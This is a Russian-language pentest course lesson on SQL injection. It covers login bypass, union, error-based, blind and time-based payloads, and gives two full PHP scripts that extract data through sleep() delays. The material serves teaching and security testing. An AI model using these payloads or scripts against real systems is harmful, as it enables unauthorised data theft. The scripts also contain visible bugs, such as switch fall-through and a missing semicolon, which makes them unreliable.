Вы находитесь на странице: 1из 27

[WAPT]

Оглавление
Операторы ......................................................................................................................... 2
Виды SQL-инъекций .......................................................................................................... 4
Union based sql injection ................................................................................................ 7
Blind sql injection .......................................................................................................... 12
Double blind sql injection.............................................................................................. 19

SQL-инъекции
SQL-инъекции - это внедрение в данные произвольного SQL кода. Если
произвольная SQL команда выполняется, то код уязвим и с базой
данных можно творить все что угодно. Главным элементом для
понимания SQL инъекций является знание языка SQL.

SQL (англ. structured query language — «язык структурированных


запросов») — декларативный язык программирования, применяемый
для создания, модификации и управления данными в реляционной базе
данных, управляемой соответствующей системой управления базами
данных.

SQL является, прежде всего, информационно-логическим языком,


предназначенным для описания, изменения и извлечения данных,
хранимых в реляционных базах данных. SQL можно назвать языком
программирования, при этом он не является тьюринг-полным, но
вместе с тем стандарт языка спецификацией SQL/PSM предусматривает
возможность его процедурных расширений.

Изначально SQL был основным способом работы пользователя с базой


данных и позволял выполнять следующий набор операций:
▪ создание в базе данных новой таблицы;
▪ добавление в таблицу новых записей;
1
▪ изменение записей;
▪ удаление записей;
▪ выборка записей из одной или нескольких таблиц (в соответствии
с заданным условием);
▪ изменение структур таблиц.

Со временем SQL усложнился — обогатился новыми конструкциями,


обеспечил возможность описания и управления новыми хранимыми
объектами (например, индексы, представления, триггеры и хранимые
процедуры) — и стал приобретать черты, свойственные языкам
программирования.

При всех своих изменениях SQL остаётся единственным механизмом


связи между прикладным программным обеспечением и базой данных.
В то же время современные СУБД, а также информационные системы,
использующие СУБД, предоставляют пользователю развитые средства
визуального построения запросов.

Язык SQL представляет собой совокупность


▪ операторов
▪ инструкций
▪ вычисляемых функций

Операторы
Согласно общепринятому стилю программирования, операторы (и
другие зарезервированные слова) в SQL обычно рекомендуется писать
прописными буквами.

Операторы SQL делятся на:


1. Операторы определения данных (Data Definition Language, DDL):
1.1. CREATE создаёт объект БД (саму базу, таблицу, представление,
пользователя и т. д.),
1.2. ALTER изменяет объект,
1.3. DROP удаляет объект;

2
2. Операторы манипуляции данными (Data Manipulation Language,
DML):
2.1. SELECT выбирает данные, удовлетворяющие заданным
условиям,
2.2. INSERT добавляет новые данные,
2.3. UPDATE изменяет существующие данные,
2.4. DELETE удаляет данные;
3. Операторы определения доступа к данным (Data Control Language,
DCL):
3.1. GRANT предоставляет пользователю (группе) разрешения на
определённые операции с объектом,
3.2. REVOKE отзывает ранее выданные разрешения,
3.3. DENY задаёт запрет, имеющий приоритет над разрешением;
4. Операторы управления транзакциями (Transaction Control Language,
TCL):
4.1. COMMIT применяет транзакцию,
4.2. ROLLBACK откатывает все изменения, сделанные в контексте
текущей транзакции,
4.3. SAVEPOINT делит транзакцию на более мелкие участки.

Разберемся на практике: например у пользователя имеется файл


articles.php, куда он передает параметр id и в зависимости от значений
выводятся разные статьи.
include('db.php');
$id = $_GET['id'] ?? 'Пусто';
if ($connect->connect_error) {
die($connect->connect_errno);
}
$query = "SELECT * FROM articles WHERE id = " . $id;
foreach ($connect->query($query) as $row) {
echo 'Title: ' .$row['title'];
}

3
В этом случае мы передаем значение в id и выводится заголовок статьи,
находящийся под соответствующим id. Таким запросом вместо
заголовка, можно вывести имя БД id=-1 UNION SELECT 1,database()

Виды SQL-инъекций
SQL-инъекции возникает в местах, где есть входящие данные, и эти
входящие данные никак не фильтруются. Исходя из этого, можно
понять, что в большинстве случаев, найти SQL-инъекции очень легко.
Просто тыкаем во все поля и параметры, одинарные или двойные
кавычки.

SQL-инъекции разделяются на несколько видов:


1) По типу переменной:
▪ Числовой параметр. В этом случае, параметр не обрамлен
кавычками. SELECT * FROM articles WHERE id = $id. Подставив лишнюю
кавычку, можно увидеть такую ошибку: mysql_query(): You have an error
in your SQL syntax check the manual that corresponds to your MySQL server version
for the right syntax to use near '1''. Если этой ошибки нет, может быть 3
варианта:
- Кавычки фильтруются;
- Вывод ошибок выключен, т.е. есть слепая инъекция;
- Инъекции нет.
Если отчет об ошибках выключен, то можно к запросу добавить
знак – и вывод будет таким же, как в начале.

▪ Строковый параметр. Параметр обрамлен кавычками. И если


добавить кавычку, то запросы будут выглядеть таким образом
SELECT * FROM articles WHERE id='1''. Это означает, что синтаксис и

4
логика SQL запроса нарушен и будет ошибка: mysql_query(): You have
an error in your SQL syntax check the manual that corresponds to your MySQL
server version for the right syntax to use near '1''. А если отчет об ошибках
выключен, то можно добавить ‘1-- и ответ будет такой же, как в
начале (-- после двух тире, все что идет дальше в запросе,
отбрасывается).
▪ Авторизация. В этом случае уязвимыми могут быть 2 поля - поле
login или pass. При наличии уязвимости, можно авторизоваться,
имея только login. Например, изначальный запрос выглядит так:
SELECT * FROM users WHERE login='admin' AND pass='password'. И теперь в
параметр login можно передать аdmin' --, запрос будет теперь
выглядеть так: SELECT * FROM users WHERE login='admin' -- ' AND
pass='password' и все что идет после аdmin отбрасывается. В случае,
если уязвимость в параметре pass, то можно отправить password’ OR
login=’admin’ -- и такой запрос будет идентичен такому и позволит
авторизоваться SELECT * FROM users WHERE (login='Admin' AND pass='123')
OR (login='Admin').
▪ Оператор LIKE. Этот оператор в SQL служит для сравнения строк. В
таком случае, доступ через авторизацию можно получить, даже
если нет инъекции. Вместо пароля нужно просто ввести “%”, для
оператора LIKE знак процента соответствует любой строке, и
запрос будет выглядеть так: SELECT * FROM users WHERE login LIKE 'admin'
AND password LIKE '%' и произойдет авторизация с логином admin.

2) По типу SQL-инъекций:
▪ Union-based. Этот тип самый популярный и встречается чаще
всего. Команда UNION объединяет два запроса в один. И так
образом позволяет злоумышленнику вывести информацию из
любой таблицы в базе данных. Например, таким запросом “-1
UNION SELECT 1, database()” определяют количество столбцов в
таблице и на месте вывода второго столбца, выводится имя базы
данных. Таким же образом можно вывести любое содержимое и
другую полезную инфу.
▪ Error-based. В случае, если командой UNION не получается
получить данные, то прибегают к типу error-based. Используя

5
данный тип, данные из базы можно вывести, искусственно
вызывая ошибки. Например, с помощью запроса:
SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2)x GROUP BY MID(VERSION(),
FLOOR(RAND(33)*2), 64) в отчете ошибки выведется Duplicate entry
'5.5.25-log' for key 'group_key'.
▪ Blind-based. Если данные из базы данных не получается вывести с
помощью UNION, а также не выводится никаких ошибок, то скорее
всего это слепая инъекция. В этом случае, остается только 1
вариант, получать информацию с помощью false и true, т.е. если
ответ пустой, то значит false, если не пустой то true. Поэтому, в
таком случае, информация из базы данных достается
посимвольно, например с помощью таких команд: id=1' and
Ascii(substring((Select user()),1,1))>97 --. Но, так как так прогонят каждый
символ долго, то пишется скрипт, который выводит информацию
посимвольно в автоматическом режиме или это можно сделать с
помощью утилиты sqlmap. Такой способ вывода информации
называется бинарным поиском.
▪ Time-based. Этот вид инъекции достаточно сложный и не понятно,
есть инъекция или нет. Ни один из выше описанных способов тут
не помогает. Но и в этом случае есть выход, это использование
временных задержек. Например, id=1' and if (Ascii(substring((Select
user()),1,1))>97, sleep(10),0) --. Принцип работы такой же, как и в Blind-
based, т.е. где сервер будет отвечать 10 секунд, то это true иначе
false.

6
Остановимся на каждом типе подробнее:

Union based sql injection


UNION based sqli - является самой простой и распространенной
инъекцией. Из названия понятно, что данный тип использует ключевое
слово UNION при эксплуатации. Рассмотрим это более подробно.

Использование UNION позволяет объединять результат нескольких


запросов в одну таблицу.
В общем виде использование UNION выглядит так:

<запрос 1> UNION [ALL] <запрос 2> UNION [ALL] <запрос 3> ...

▪ <запрос N> - это обычный sql запрос. Например: SELECT id, user FROM
users WHERE id = 1

7
▪ UNION [ALL] — само ключевое слово, где «[ALL]» необязательный
аргумент, который говорит, использовать ли дублирующие записи
в результирующей таблице или нет.
Особое внимание надо уделить двум моментам:

1. У всех запросов, объединяющих UNION, должно быть одинаковое


количество столбцов в запросе. Другими словами если <запрос 1>
= «SELECT id, user FROM users WHERE id = 1», то и <запрос 2> = «SELECT
user, passwd FROM passwds WHERE id = 1»

2. У всех запросов, объединяющих UNION, должно быть полное


совпадение типов столбцов. Другими словами если мы возьмем
пример из пункта 1, то тип поля id должен совпадать с типом поля
users из второго запроса. Соответственно тип users из первого
запроса должен совпадать с типом passwd из второго

Пусть есть две таблицы:

Table1: (user — varchar(25); value — int; date - date())

User Value Date

Adam 1200 20180912

Yorik 2000 16030101

Table2: (user — varchar(25); value — int; description — text)

User Value Description

Adam 300 Some descr for adam

Ban 1000 Some descr for ban

Kris 570 Some descr for kris

Yorik 2000 Some descr for yorik

Проверим различные варианты использования UNION:


8
Запрос вида:
SELECT user, value FROM Table1 UNION SELECT user, value FROM Table2

Вернет следующее:

Adam 1200

Yorik 2000

Adam 300

Ban 1000

Kris 570

Разберем подробнее
Первая часть запроса ДО UNION возвращает:

Adam 1200

Yorik 2000

Вторая часть запроса ПОСЛЕ UNION возвращает:

Adam 300

Ban 1000

Kris 570

Yorik 2000

И в первом и во втором результате есть одинаковые строчки:

Yorik 2000

9
А так как используется UNION, то дубликаты не попадут в
результирующую таблицу. В результате чего получаем наш результат.
Но если использовать UNION ALL:
SELECT user, value FROM Table1 UNION ALL SELECT user, value FROM Table2

То в результирующую таблицу войдут все запись как первого запроса,


так и второго, включая и дубликаты:

Adam 1200

Yorik 2000

Adam 300

Ban 1000

Kris 570

Yorik 2000

Далее. Запрос вида:


SELECT user, value FROM Table1 UNION SELECT value FROM Table2

Не вернет результата т. к. первый запрос ДО UNION возвращает таблицу с


двумя столбцами, а второй запрос ПОСЛЕ UNION таблицу с одним
столбцом. Произойдет ошибка.

Запрос вида:
SELECT user, date FROM Table1 UNION SELECT user, description FROM Table2

Так же не вернет результата, несмотря на то, что количество столбцов


первого запроса равно количеству столбцов второго. Так как в первом
запросе столбец date имеет тип Date() - дата, а во втором запросе столбец
description имеет тип text, то sql не сможет связать данные разных типов и
выдаст ошибку.

Рассмотрим, каким образом будет проходить инъекция.

10
Пусть есть две таблицы:

Users: (id — int primary key not null; user — varchar(25) not null)

Id User

1 Admin

2 Kamito

3 Vasilisa

Logs: (id — int primary key not null; sid — int not null; date — datetime() not null; log -
varchar(255))

Id Sid Date Log

1 1 2018-09-11 https://codeby.net/forums/
12:35:51
2 1 2018-09-12 https://codeby.net/forums/ctf-zone.199/
01:20:35
3 3 2018-09-12 https://codeby.net/forums/svobodnoe-
09:01:21 obschenie.1/
4 2 2018-09-13 https://codeby.net/resources/
17:41:48
Запрос вида:
SELECT Users.user, Logs.log FROM Users, Logs WHERE Logs.sid = Users.id

Возвращает таблицу соответствия определенного пользователя и его


логов. Пусть в запросе Users.id задается клиентом.
SELECT Users.user, Logs.log FROM Users, Logs WHERE Logs.sid = $id

Пусть $id равен 1. В адресной строке это может выглядить так:


https://example.org/logs.php?id=1

Тогда запрос должен вернуть таблицу вида:

Admin https://codeby.net/forums/

11
Admin https://codeby.net/forums/ctf-
zone.199/
Каким же образом можно использовать UNION. Пусть таблицы хранятся
в MS SQL. Тогда первый делом с помощью UNION выясним, какие
таблицы хранятся в базе.
https://example.org/logs.php?id=1 UNION SELECT TOP 10 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES--

Далее можно получить имена колонок в уже известных таблицах.


https://example.org/logs.php?id=1 UNION SELECT TOP 10 COLUMN_NAME
FROM INFORMATION_SCHEMA.COLUMS WHERE TABLE_NAME="some table
name"--

Таким образом, узнав все, что нам необходимо можем провести


последнюю инъекцию:
https://example.org/logs.php?id=1 UNION SELECT Users.user, Logs.log FROM
Users, Logs WHERE Logs.sid = Users.id

В итоге получим следующую таблицу:

Admin https://codeby.net/forums/

Admin https://codeby.net/forums/ctf-zone.199/

Vasilisa https://codeby.net/forums/svobodnoe-obschenie.1/

Kamito https://codeby.net/resources/

Другими словами получили логи всех пользователей, а не конкретных.

Blind sql injection


Blind sql injection или слепая sql инъекция это тип, при котором нельзя
увидеть ответы ошибок на странице. Различают два вида слепых sql
инъекций:
▪ Normal blind — нельзя увидеть ответ на странице, но его можно
определить из анализа http;
12
▪ Totaly blind — никакой разницы в результате в любом виде.

При эксплуатации normal blind чаще всего используют IF и различные


варианты WHERE. А для эксплуатации totaly blind используют
специальные функции для анализа времени при отправке запроса и
называют это time base sql injection.

В итоге все сводится к анализу ложных или истинных ответов, тем


самым выуживая информацию посимвольно.

Totaly blind будет рассмотрена в другом разделе этого урока, а сейчас


рассмотрим на примерах Normal blind инъекции.

Начнем с того, что поймем, каким образом можно определить слепую sql
инъекцию. Все определение сводится к анализу на изменение логики.

Пусть есть уязвимый сайт:


http://example.com/news.php?id=1

Этот запрос возвращает на страницу новость с id равном 1. Напомним,


что это слепая инъекция, поэтому всякого рода подставления кавычек и
прочего не дадут результата. В БД происходит выборка по следующему
запросу:
SELECT title, descr, body FROM news WHERE id = $id

Естественно $id — это то, что передает пользователь.

Если мы отправим строку вида:


http://example.com/news.php?id=1 and 1=1

То на странице отобразится та же новость, что и раньше. Но если мы


добавим:
http://example.com/news.php?id=1 and 1=0

То результирующий запрос изменится:


SELECT title, descr, body FROM news WHERE id = $id AND 1=0

13
Он никогда не выполнится и поэтому на странице не отобразится
новость. Это должно послужить сигналом о том, что перед нами blind sql
injection.

Так же для определения инъекции могут помочь следующие payloads:


AND true
AND false
'AND true – -
'AND false – -
'AND true %23
'AND false %23

Теперь научимся эксплуатировать данную уязвимость:

Пусть мы работает в MySQL и будем использовать его синтаксис.

Один из способов эксплуатации так же сводится к анализу на изменение


логики. Вместе с этим будем использовать функции ASCII('[some symbol]') и
substring([some string], 0, 1).

Рассмотрим, что каждая из этих функций делает, какие аргументы


принимает и какой результат выдают.

ASCII([some sybmol]) — функция возвращает код символа по ASCII.


Например, ASCII('a') вернет 97.

substring([some string], [start sybmol], [count symbols]) — возвращает


подстроку из строки. Первый аргумент принимает строковый тип, пусть
это будет 'codeby.net'. Второй аргумент это целочисленный тип > 0
отвечающий, с какого символа брать подстроку. Третий аргумент так же
целочисленный > 0 который определяет сколько символов взять после
того, какой выбран вторым аргументом. Рассмотрим конкретнее:
substring('codeby.net', 1, 1) — вернет c
substring('codeby.net', 2, 1) — вернет o
substring('codeby.net', 3, 1) — вернет d
substring('codeby.net', 4, 1) — вернет e
substring('codeby.net', 5, 1) — вернет b
substring('codeby.net', 6, 1) — вернет y
substring('codeby.net', 7, 1) — вернет .

14
substring('codeby.net', 8, 1) — вернет n
substring('codeby.net', 9, 1) — вернет e
substring('codeby.net', 10, 1) — вернет t

Теперь рассмотрим, как все это можно использовать.

Суть заключает в том, что бы использовать запрос, который возвращает


одну строку и перебирая эту строку посимвольно угадывать как она
выглядит.

Попробуем узнать имя таблицы:


SELECT title, descr, body FROM news WHERE id = $id AND
ASCII(substring((SELECT table_name FROM information_schema.tables WHERE
table_schema=database() limit 0,1), 1, 1))>97

Рассмотрим подробнее. Внутри функции substring первым аргументом


помещен запрос вида:
SELECT table_name FROM information_schema.tables WHERE
table_schema=database() limit 0,1

Прочитать его можно так:


▪ SELECT table_name — выдай название таблицы;
▪ FROM information_schema.tables — из БД метаданных по
таблицам;
▪ WHERE table_schema=database() — выбрав те, которые
принадлежат текущей БД;
▪ Limit 0,1 — в количестве одной штуки.

Таким образом, весь запрос вернет строку содержащую название


таблицы. Но этого мы не увидим, ведь у нас слепая инъекция.

Далее название полученной таблицы попадает в функцию substring,


которая благодаря оставшимся аргументам 1, 1 возвращает один
первый символ названия этой таблицы.

После чего этот символ передается функции ASCII, которая как мы уже
знаем, переводит его в код.

15
В итоге весь запрос можно переписать так:
SELECT title, descr, body FROM news WHERE id = $id AND X>97

Где X — это код первого символа названия какой то таблицы из текущей


базы данных. Далее идет анализ логики. Сравнивает полученный код
символа с кодом 97. Как мы уже знаем код 97 это символ «a». Таким
образом, если вдруг X > 97 вернет true, то мы поймем что название
полученной таблицы начинается НЕ на «a», а если вернет false, то скорее
всего название таблицы начинает на «a». А понять вернулось ли true или
false можно по странице, появилась ли новость или пропала.

Если вернула true, то изменяем запрос на:


SELECT title, descr, body FROM news WHERE id = $id AND
ASCII(substring((SELECT table_name FROM information_schema.tables WHERE
table_schema=database() limit 0,1), 1, 1))>120

Если этот запрос возвращает false, то изменяем в меньшую сторону:


SELECT title, descr, body FROM news WHERE id = $id AND
ASCII(substring((SELECT table_name FROM information_schema.tables WHERE
table_schema=database() limit 0,1), 1, 1))>110

Таким образом, в какой-то момент мы точно узнаем, каким символом


начинается название таблицы. Далее изменяем второй аргумент
функции substring, увеличивая на единицу, тем самым будет выбираться
второй символ имени таблицы. И аналогичным образом выясняется и
он. И так до тех пор, пока не выудим все таблицу.

Второй способ заключается в использовании таблицы для тестирования


«dual» и оператора like.

Оператор like это оператор сравнения, в котором можно использоваться


подстановочные символы, например такие как % - обозначающее строку
произвольной длины или «_» обозначающий произвольный символ.

Например 'codeby.net' like '%by.%' - вернет true . т. к. «by.» слева можно


дополнить строкой «code», а справа «net» и получить строку, с которой
сравнивают. Если же выражение было вида 'codeby.net' like 'by.%' то оно

16
вернуло бы false, т. к. просто подставляет любую строку только справа от
«by.» никак не получить «codeby.net».

Подстановочный же символ «_» можно использовать аналогично, если


знаешь длину. Например, тот же самый пример 'codeby.net' like '%by.%'
можно переписать так 'codeby.net' like '_ _ _ _by._ _ _' . Если же убрать хоть
один символ «_» то выражение вернет false;

Применим это на практике.

Для начала выясним текущую базу данных:


SELECT title, descr, body FROM news WHERE id = $id AND (SELECT 1 FROM dual
WHERE database() like '%o%')

Таким образом, если имя базы данных будет содержать букву «o» то
запрос вернет true. Так мы проверим из каких символов состоит имя
базы данных. Далее выясним, какая длина у имени БД с помощью
следующего запроса.
SELECT title, descr, body FROM news WHERE id = $id AND (SELECT 1 FROM dual
WHERE database() like '_ _ _ _ _')

Если имя состоит из пяти символов, то запрос вернет true, если же нет,
то увеличиваем количество знаков «_» до тех пор, пока не получим true.

В конечном итоге проверяем, правильно ли найдено имя БД.


SELECT title, descr, body FROM news WHERE id = $id AND (SELECT 1 FROM dual
WHERE database() = 'some_name_db')

Если такой запрос вернет true, то значит имя БД найдено верно.

Теперь можно приступать к выуживанию имена таблиц через


содержащиеся в них столбцы.

Например:
SELECT title, descr, body FROM news WHERE id = $id AND (SELECT 1 FROM dual
WHERE (SELECT table_name FROM information_schema.columns WHERE
table_schema = database() and column_name like '%user%' limit 0,1) like '%')

17
Разберем подробнее:

Запрос состоит из двух вложенных.


SELECT table_name FROM information_schema.columns WHERE table_schema
= database() and column_name like '%user%' limit 0,1

Его можно прочитать так:


▪ SELECT table_name — выдай мне имя таблицы
▪ FROM information_schema.columns — из БД метаданных по
колонкам
▪ WHERE table_schema = database() - где БД равна текущей
▪ and column_name like '%user%' - и эта таблица содержит столбце,
содержащий слово «user»
▪ limit 0,1 — в количестве одного

Если в текущей БД есть таблица, в которой есть столбец, содержащий в


имени «user», то этот запрос вернет имя одной из таких таблиц.

Пусть имя такой таблицы X_table_name.

Далее имя таблицы попадает в запрос выше:


SELECT 1 FROM dual WHERE X_table_name like '%'

Этот запрос просто проверяет, вернул ли внутренний запрос строку или


нет. Если да, то весь запрос вернет true, если нет, то вернет false.

Теперь можно начинать узнавать имя этой таблицы, используя уже


известные методы.
SELECT title, descr, body FROM news WHERE id = $id AND (SELECT 1 FROM dual
WHERE (SELECT table_name FROM information_schema.columns WHERE
table_schema = database() and column_name like '%user%' limit 0,1) like '_ _ _
_')

Самый внутренний запрос никак не изменился. Он все так же


возвращает имя таблицы. А вот следующий:
SELECT 1 FROM dual WHERE X_table_name like '_ _ _ _'

18
Проверяет: если имя таблицы равно четырем символам, то весь запрос
вернет true, в противном случае false. Тогда увеличиваем на один символ
«_» и снова смотрим результат.

Дальше, опять же, уже известными методами узнаем из чего состоит


имя таблицы.
SELECT title, descr, body FROM news WHERE id = $id AND (SELECT 1 FROM dual
WHERE (SELECT table_name FROM information_schema.columns WHERE
table_schema = database() and column_name like '%user%' limit 0,1) like '%o%')

Снова самый внутренний запрос все так же возвращает имя таблицы, а


следующий за ним:
SELECT 1 FROM dual WHERE X_table_name like '%o%'

Просто проверяет, входит ли в состав имени таблицы символ «o». Таким


образом перебираем варианты, а в конце проверяем найденный
вариант.
SELECT title, descr, body FROM news WHERE id = $id AND (SELECT 1 FROM dual
WHERE (SELECT table_name FROM information_schema.columns WHERE
table_schema = database() and column_name like '%user%' limit 0,1) like
'users')

Как видите эксплуатировать слепую sql инъекцию достаточно


трудоемко. Но есть способы позволяющие автоматизировать процесс.
Такой метод будет описан в разделе time base sql injection этого урока.

Double blind sql injection


Double blind sql injection, она же Time-based sql injection, она же
абсолютно слепая sql инъекция. Бывают случаи, когда не только вывод
ошибок нам не доступен, но и сам sql запрос используется для каких-
нибудь внутренних работ. Например, журналирования событий или
оптимизации. Этот вид инъекции достаточно сложный и не понятно,
есть инъекция или нет.

Для определения уязвимости используется метод ложных и истинных


запросов, вызывающих задержки выполнения, а для эксплуатации
посимвольный перебор с использованием временных задержек.
19
Отсюда и его название. Другими словами нужно сформировать запрос с
использованием функций, которые приостанавливают выполнение
запроса. Если при подстановке запрос выполняется мгновенно, то это
значит, что запрос не сработал. Если задержка произошла, то запрос
выполнился.

Пример определения:
id' and sleep(10) --

Пример эксплуатации:
id=1' and if (Ascii(substring((Select user()),1,1))>97, sleep(10),0) --

Обратите внимание на функцию sleep(10). Это та самая функция для


задержки выполнения запроса, в конкретном примере на 10 секунд. Т.е.
если страница загрузилась спустя 10 секунд, то у нас есть уязвимость.

Разберем пример эксплуатации подробнее.


▪ substring((Select user()),1,1) – сначала sql запрос возвращает строку
с результатом. Потом функция substring возвращает первый
символ этой строки;
▪ Ascii(substring((Select user()),1,1)) – возвращает код символа по
ASCII;
▪ Код 97 соответствует символу “a” латинского алфавита. Все что
ниже этого кода не будет являться символом латинского
алфавита. Поэтому мы проверяем, является ли первый символ
запроса буквой.
▪ Далее если является, то функция sleep приостановит работу
выполнения на 10 секунд. Именно благодаря этому мы и
понимаем, что инъекция прошла.

Есть множество путей проведения быстрой эксплуатации. Это зависит от


вашей фантазии и опыта. Ниже приведен простой пример проверки по
символам на основе временной задержки.
function brute($column,$table,$lim)
{
$ret_str = "";
$b_str = "1234567890_abcdefghijklmnopqrstuvwxyz";
20
$b_arr = str_split($b_str);
for ($i=1;$i<100;$i++)
{
print "[+] Brute $i symbol...\n";
for ($j=0;$j<count($b_arr);$j++)
{
$brute = ord($b_arr[$j]);
$q =
"/**/and/**/if((ord(lower(mid((select/**/$column/**/from/**/$table/**/li
mit/**/$lim,1),$i,1))))=$brute,sleep(6),0)--";
if (http_connect($q))
{
$ret_str=$ret_str.$b_arr[$j];
print $b_arr[$j]."\n";
break;
}
print ".";
}
if ($j == count($b_arr)) break;
}
return $ret_str;
}

Описание построчно сверху вниз пропуская операторные скобки:


▪ Сначала задается имя функции(brute) и аргументы: column —
колонки таблицы, table — сама таблица, limit — сколько строк
выводить;
▪ Инициализируется переменная(ret_str) в которой будет храниться
результат.. ;
▪ Инициализируется переменная(b_str) строкой с символами,
которыми будем брутить. В нашем случае берем цифры, буквы и
нижнее подчеркивание;
▪ Инициализируем массив символами из строки для брута;
▪ Запускаем цикл до 100, другими словами предполагаем, что sql
запрос вернет строку не менее 100 символов;
▪ Следующая строка декоративная, просто выводит какой именно
номер символ брутится в данный момент выполнения скрипта;
▪ Запускаем цикл по массиву с нашими символами для брута;
21
▪ Каждый символ приводим к его коду по ASCII и инициализируем
им переменную(brute);
▪ Инициализируем переменную(q) нагрузкой, которой будем
эксплуатировать уязвимость;
▪ Далее делаем запрос и если удачно, то …;
▪ В переменную для результата дописываем символ, который
подошел;
▪ Показываем, что символ подошел;
▪ Выходим из цикла брута по символам;
▪ Декоративный элемент, печатаем точку;
▪ Проверка, если мы дошли до последнего символа в нашем
массиве символов для брута, то значит не имеет смысла
проверять следующие буквы sql запроса, выходим из верхнего
цикла;
▪ Возвращаем результат брута.

Подробнее про строку запроса по вложенности наружу:


 mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1) —
возвращает один символ от запроса. Номер символа зависит от
переменно $i;
 lower(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1)) —
приводит символ к нижнему регистру;
 ord(lower(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1)))
— возвращает код по ASCII сивола.

Так же в скрипте присутствует функция http_connect. Ее листинг ниже.


function http_connect($query)
{
$server = "http://example.com/index.php?id=1"
$headers = array(
'User-Agent' => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru;
rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14',
'Referer' => $server
);

$res_http = new HttpRequest($server.$query, HttpRequest::METH_GET);


$res_http->addHeaders($headers);

22
$t = mktime();
try {
$response = $res_http->send()->getBody();

$t = mktime() - $t;

if ($t > 5)
{
return 1;
}
else
{
return 0;
}

} catch (HttpException $exception) {

print "[-] Not connected";


exit(0);
}
}

Рассмотрим вкратце, что делает эта функция:


▪ Переменная server инициализируется URL адресов уязвимого
файла;
▪ Переменная headers инициализируется данными описывающими
заголовок для запроса;
▪ Создается http запрос методом GET, в котором содержится адрес
до уязвимого файла и наш нагрузка;
▪ Далее добавляются http заголовки;
▪ После чего сохраняется время отправки запроса в переменную t;
▪ Далее пытаемся отправить запрос и получить ответ;
▪ После чего высчитываем разницу времени между датой отправки
запроса и даты получения ответа;
▪ Если разница примерно около 6 секунд возвращаем 1;
▪ Иначе возвращаем 0.

23
Возникает проблема времени. Эту проблему можно решить следующим
образом.
1. Строка символов для брута используется в алфавитном порядке и
каждый символ этой строки мы проверяем в том же порядке. Но в
жизни в словах есть закономерности, при которых какая-то буква
будет чаще встречаться, чем другая. Другими словами можно
использовать частотный анализ;
2. Можно усилить эффект от частотного анализа если мы будем
применять технологию цепочек букв. Другими словами какие то
буквы чаще встречаются после определенных букв, чем другие.

Первую часть можно реализовать просто изменив строку для брута на


«tashwiobmcfdplnergyuvkjqzx_1234567890», а вот вторую часть рассмотрим
в скрипте ниже.
function brute($column,$table,$lim)
{
$ret_str = "";
$b_str = "tashwiobmcfdplnergyuvkjqzx_1234567890";
$b_arr = str_split($b_str);
for ($i=1;$i<100;$i++)
{
if($last_ltr){
switch ($last_ltr){
case "q": { $b_arr =
str_split("uaqoisvretwybnhlxmfpzcdjgk_1234567890");}
case "w": { $b_arr =
str_split("ahieonsrldwyfktubmpcgzvjqx_1234567890");}
case "e": { $b_arr =
str_split("rndsaletcmvyipfxwgoubqhkzj_1234567890");}
case "r": { $b_arr =
str_split("eoiastydnmrugkclvpfbhwqzjx_1234567890");}
case "t": { $b_arr =
str_split("hoeiartsuylwmcnfpzbgdjkxvq_1234567890");}
case "y": { $b_arr =
str_split("oesitamrlnpbwdchfgukzvxjyq_1234567890");}
case "u": { $b_arr =
str_split("trsnlgpceimadbfoxkvyzwhjuq_1234567890");}

24
case "i": { $b_arr =
str_split("ntscolmedrgvfabpkzxuijqhwy_1234567890");}
case "o": { $b_arr =
str_split("nurfmtwolspvdkcibaeygjhxzq_1234567890");}
case "p": { $b_arr =
str_split("eroaliputhsygmwbfdknczjvqx_1234567890");}
case "l": { $b_arr =
str_split("eliayodusftkvmpwrcbgnhzqxj_1234567890");}
case "k": { $b_arr =
str_split("einslayowfumrhtkbgdcvpjzqx_1234567890");}
case "j": { $b_arr =
str_split("euoainkdlfsvztgprhycmjxwbq_1234567890");}
case "h": { $b_arr =
str_split("eaioturysnmlbfwdchkvqpgzjx_1234567890");}
case "g": { $b_arr =
str_split("ehroaiulsngtymdwbfpzkxcvjq_1234567890");}
case "f": { $b_arr =
str_split("oeriafutlysdngmwcphjkbzvqx_1234567890");}
case "d": { $b_arr =
str_split("eioasruydlgnvmwfhjtcbkpqzx_1234567890");}
case "s": { $b_arr =
str_split("tehiosaupclmkwynfbqdgrvjzx_1234567890");}
case "a": { $b_arr =
str_split("ntrsldicymvgbpkuwfehzaxjoq_1234567890");}
case "z": { $b_arr =
str_split("eiaozulywhmtvbrsgkcnpdjfqx_1234567890");}
case "x": { $b_arr =
str_split("ptcieaxhvouqlyfwbmsdgnzrkj_1234567890");}
case "c": { $b_arr =
str_split("oheatikrlucysqdfnzpmgxbwvj_1234567890");}
case "v": { $b_arr =
str_split("eiaoyrunlsvdptjgkhcmbfwzxq_1234567890");}
case "b": { $b_arr =
str_split("euloyaristbjmdvnhwckgpfzxq_1234567890");}
}
}
print "[+] Brute $i symbol...\n";
for ($j=0;$j<count($b_arr);$j++)
{

25
$brute = ord($b_arr[$j]);
$q =
"/**/and/**/if((ord(lower(mid((select/**/$column/**/from/**/$table/**/li
mit/**/$lim,1),$i,1))))=$brute,sleep(6),0)--";
if (http_connect($q))
{
$ret_str=$ret_str.$b_arr[$j];
print $b_arr[$j]."\n";
$last_ltr=$b_arr[$j];
break;
}
print ".";
}
if ($j == count($b_arr)) break;
}
return $ret_str;
}

Что изменилось - первое это строка символов для брута. Символы


выстроены в порядке частоты встречаемости по убыванию. Второе это
оператор ветвления switch который управляется переменной last_ltr. В
первой итерации верхнего цикла этот оператор ветвления не
используется. Он задействуется только когда найдется первый символ.
После чего переменная last_ltr проинициализируется этим первым
символом и благодаря оператору switch строка символов для брута
изменится на подходящую.

В этой части урока вы познакомились с синтаксисом языка SQL, с


помощью которого функционирует большинство баз данных. На
примерах увидели, что из себя представляют sql инъекции. Поняли
каким образом получаются уязвимости подобного рода. Увидели на
какие типы делятся sql инъекции, разобрали основные. В следующей
части разберёмся с более продвинутыми техниками, научимся обходить
waf, выводить все данные базы лишь одним запросом, а так же узнаем
где и как их искать.

26
Служба Поддержки

8 800 707 5466


с 8:00 до 20:00 по мск

school@codeby.net

27

Вам также может понравиться